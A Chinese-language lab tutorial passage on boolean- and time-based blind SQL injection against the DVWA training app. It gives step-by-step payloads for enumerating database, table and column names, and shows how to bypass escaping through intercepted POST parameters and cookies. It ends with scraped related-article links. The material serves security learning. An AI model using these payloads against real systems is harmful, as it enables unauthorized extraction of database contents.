想要猜解数据库名,首先要猜解数据库名的长度,然后挨个猜解字符。
 
输入1’ and length(database())=1 #,显示不存在;
 
输入1’ and length(database())=2 #,显示不存在;
 
输入1’ and length(database())=3 #,显示不存在;
 
输入1’ and length(database())=4 #,显示存在
说明数据库名长度为4。
 
下面采用二分法猜解数据库名。
 
输入1’ and ascii(substr(databse(),1,1))>97 #,显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值);
 
输入1’ and ascii(substr(databse(),1,1))<122 #,显示存在,说明数据库名的第一个字符的ascii值小于122(小写字母z的ascii值);
 
输入1’ and ascii(substr(databse(),1,1))<109 #,显示存在,说明数据库名的第一个字符的ascii值小于109(小写字母m的ascii值);
 
输入1’ and ascii(substr(databse(),1,1))<103 #,显示存在,说明数据库名的第一个字符的ascii值小于103(小写字母g的ascii值);
 
输入1’ and ascii(substr(databse(),1,1))<100 #,显示不存在,说明数据库名的第一个字符的ascii值不小于100(小写字母d的ascii值);
 
输入1’ and ascii(substr(databse(),1,1))>100 #,显示不存在,说明数据库名的第一个字符的ascii值不大于100(小写字母d的ascii值),所以数据库名的第一个字符的ascii值为100,即小写字母d。
重复上述步骤,就可以猜解出完整的数据库名(dvwa)了。
 
3.猜解数据库中的表名
首先猜解数据库中表的数量:
 
1’ and (select count (table_name) from information_schema.tables where table_schema=database())=1 # 显示不存在
 
1’ and (select count (table_name) from information_schema.tables where table_schema=database() )=2 # 显示存在
 
说明数据库中共有两个表。
 
接着挨个猜解表名:
 
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 # 显示不存在
 
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 # 显示不存在
 
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 显示存在
 
说明第一个表名长度为9。
 
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 显示存在
 
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 显示存在
 
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 显示存在
 
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 显示不存在
 
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 显示不存在
 
说明第一个表的名字的第一个字符为小写字母g。
重复上述步骤,即可猜解出两个表名(guestbook、users)。
 
4.猜解表中的字段名
首先猜解表中字段的数量:
 
1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=1 # 显示不存在
 
1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=8 # 显示存在
 
说明users表有8个字段。
 
接着挨个猜解字段名:
 
1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1 # 显示不存在
 
1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7 # 显示存在
 
说明users表的第一个字段为7个字符长度。
 
采用二分法,即可猜解出所有字段名。
 
5.猜解数据
同样采用二分法。
 
 
基于时间的盲注:
 
1.判断是否存在注入,注入是字符型还是数字型
输入1’ and sleep(5) #,感觉到明显延迟;
 
输入1 and sleep(5) #,没有延迟;
 
说明存在字符型的基于时间的盲注。
 
2.猜解当前数据库名
首先猜解数据名的长度:
 
1’ and if(length(database())=1,sleep(5),1) # 没有延迟
 
1’ and if(length(database())=2,sleep(5),1) # 没有延迟
 
1’ and if(length(database())=3,sleep(5),1) # 没有延迟
 
1’ and if(length(database())=4,sleep(5),1) # 明显延迟
 
说明数据库名长度为4个字符。
 
接着采用二分法猜解数据库名:
 
1’ and if(ascii(substr(database(),1,1))>97,sleep(5),1)# 明显延迟
 
1’ and if(ascii(substr(database(),1,1))<100,sleep(5),1)# 没有延迟
 
1’ and if(ascii(substr(database(),1,1))>100,sleep(5),1)# 没有延迟
 
说明数据库名的第一个字符为小写字母d。
 
重复上述步骤,即可猜解出数据库名。
 
3.猜解数据库中的表名
首先猜解数据库中表的数量:
 
1’ and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(5),1)# 没有延迟
 
1’ and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1)# 明显延迟
 
说明数据库中有两个表。
 
接着挨个猜解表名:
 
1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) # 没有延迟
 
1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) # 明显延迟
 
说明第一个表名的长度为9个字符。
 
采用二分法即可猜解出表名。
 
4.猜解表中的字段名
首先猜解表中字段的数量:
 
1’ and if((select count(column_name) from information_schema.columns where table_name= ’users’)=1,sleep(5),1)# 没有延迟
 
1’ and if((select count(column_name) from information_schema.columns where table_name= ’users’)=8,sleep(5),1)# 明显延迟
 
说明users表中有8个字段。
 
接着挨个猜解字段名:
 
1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1,sleep(5),1) # 没有延迟
 
1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7,sleep(5),1) # 明显延迟
 
说明users表的第一个字段长度为7个字符。
 
采用二分法即可猜解出各个字段名。
 
5.猜解数据
同样采用二分法。
 
 
 
中级:if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = mysql_real_escape_string( $id );
代码利用mysql_real_escape_string函数对特殊符号
 
\x00,\n,\r,\,',",\x1a进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。
 
通过抓包改参数id,提交恶意构造的查询参数。之前已经介绍了详细的盲注流程,这里就简要演示几个
 
基于布尔的盲注:
 
抓包改参数id为1 and length(database())=4 #,显示存在,说明数据库名的长度为4个字符;
 
抓包改参数id为1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,显示存在,说明数据中的第一个表名长度为9个字符;
 
抓包改参数id为1 and (select count(column_name) from information_schema.columns where table_name= 0x7573657273)=8 #,(0x7573657273为users的16进制),显示存在,说明uers表有8个字段。
 
基于时间的盲注:
 
抓包改参数id为1 and if(length(database())=4,sleep(5),1) #,明显延迟,说明数据库名的长度为4个字符;
 
抓包改参数id为1 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #,明显延迟,说明数据中的第一个表名长度为9个字符;
 
抓包改参数id为1 and if((select count(column_name) from information_schema.columns where table_name=0x7573657273 )=8,sleep(5),1) #,明显延迟,说明uers表有8个字段。
 
 
 
高级:if( isset( $_COOKIE[ 'id' ] ) ) {
    // Get input
    $id = $_COOKIE[ 'id' ];
// Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors
代码利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。同时在 SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。
 
 
虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。但由于服务器端执行sleep函数,会使得基于时间盲注的准确性受到影响,这里我们只演示基于布尔的盲注:
抓包将cookie中参数id改为1’ and length(database())=4 #,显示存在,说明数据库名的长度为4个字符;
 
抓包将cookie中参数id改为1’ and length(substr(( select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,显示存在,说明数据中的第一个表名长度为9个字符;
 
抓包将cookie中参数id改为1’ and (select count(column_name) from information_schema.columns where table_name=0x7573657273)=8 #,(0x7573657273 为users的16进制),显示存在,说明uers表有8个字段。

DVWA总结的更多相关文章

  1. 在xampp中配置dvwa

    DVWA主要是用于学习Web的常见攻击,比如SQL注入.XSS等的一个渗透测试系统,下面我将结合XAMPP来说明它的安装过程. 一.环境 OS:Windows 10 XAMPP:5.6.24 DVWA ...

  2. DVWA安装,ALMP环境搭建以及php版本转换

    前言 本文记录DVWA(Damn Vulberability Web App)在虚拟机中安装配置,包括ALMP环境的搭建和php版本的转换. 目录 2. ALMP环境搭建 3. php版本切换 一. ...

  3. DAY5 DVWA之SQL注入演练(low)

    1.设置 把安全等级先调整为low,让自己获得点信心,免得一来就被打脸. 2.测试和分析页面的功能       这里有一个输入框 根据上面的提示,输入用户的id.然后我们输入之后,发现它返回了关于这个 ...

  4. dvwa第一次接触

    DVWA (Damn Vulnerable Web Application)DVWA是用PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序.包含了SQL注入.XSS.盲注等 ...

  5. 配置安装DVWA

    本文地址:http://www.cnblogs.com/go2bed/p/4162313.html —————————————————— 什么是DVWA? Damn Vulnerable Web Ap ...

  6. 黑客攻防技术宝典Web实战篇(二)工具篇DVWA Web漏洞学习

    DVWA是一个学习Web漏洞的很好的工具. DVWA全程是Damn Vulnerable Web Application,还有一个跟它一样好的工具尽在http://www.360doc.com/con ...

  7. Dvwa writeup

    DVWA(Dam vulnerable Web Application)是使用PHP+Mysql编写的一套用于常规漏洞教学和漏洞挖掘的一个测试学习程序,在此程序中包含了常见的web方面的漏洞,如命令行 ...

  8. 使用sqlmap注入DVWA的SQL Injection菜单

    1 使用sqlmap注入DVWA的SQL Injection菜单 本教程中的登陆地址:http://192.168.0.112/dvwa/login.php 1.1 获取cookie信息 1) 使用a ...

  9. dvwa+xampp搭建显示乱码的问题:解决办法

    如图,dvwa显示乱码,解决办法有两个:

  10. linux(fedora) 下dvwa 建筑环境

    linux(fedora)下dvwa组态 1.下载httpd,dvwa,mysql,mysqlserver, php-mysql,php 除了dvwa 这是外界进入下一官方网站.该服务通过休息inst ...

随机推荐

  1. Java(23)常用API二

    作者:季沐测试笔记 原文地址:https://www.cnblogs.com/testero/p/15228415.html 博客主页:https://www.cnblogs.com/testero ...

  2. Boost Started on Windows

    Boost 官网指南 Boost C++ Libraries Boost Getting Started on Windows - 1.77.0 ① 下载 Boost.7z包 下载 .7z包 boos ...

  3. Zookeeper+Dubbo环境搭建与Demo测试

     环境准备: 1. zookeeper-3.4.14     (下载地址:http://archive.apache.org/dist/zookeeper/) 2. dubbo-0.2.0 (下载地址 ...

  4. JDK中的SPI机制

    前言 最近学习类加载的过程中,了解到JDK提供给我们的一个可扩展的接口:java.util.ServiceLoader, 之前自己不了解这个机制,甚是惭愧... 什么是SPI SPI全称为(Servi ...

  5. 微信小程序的发布流程

    一.背景 在中大型的公司里,人员的分工非常仔细,一般会有不同岗位角色的员工同时参与同一个小程序项目.为此,小程序平台设计了不同的权限管理使得项目管理者可以更加高效管理整个团队的协同工作 以往我们在开发 ...

  6. 超级好用的轻量级JSON处理命令jq

    1 简介 jq是一个轻量级的命令行工具,让你可以非常方便地处理JSON数据,如切分.过滤.映射.转化等,就像sed.awk.grep文本处理三剑客一样.jq是用C写的,没有运行时依赖,你可以直接下载可 ...

  7. 好的编程习惯是减少bug最有效的方法

    公司来了几个新手,有时候很简单的一个功能模块都要耗费好几天时间,总是在一些不相关的问题上死耗一整天,搞出莫名其妙的问题,找不到具体原因,总是怀疑编译出问题了,系统出问题了,板子出问题了,搞到快下班了叫 ...

  8. 转:bash shell 语法1

    1 Shell介绍 Shell的作用是解释执行用户的命令,用户输入一条命令,Shell就解释执行一条,这种方式称为交互式(Interactive),Shell还有一种执行命令的方式称为批处理(Batc ...

  9. Ubuntu 16.04 菜单栏 换位置 挪到左边 挪到下边

    Ubuntu菜单栏的位置可以调 到左侧 或者底部 调整到底部 $ gsettings set com.canonical.Unity.Launcher launcher-position Bottom ...

  10. pycharm基本使用python的注释语法

    pychram基本使用 1.主题选择 file settings Editor color Scheme 2.pycharm切换解释器 file settings Project Python Int ...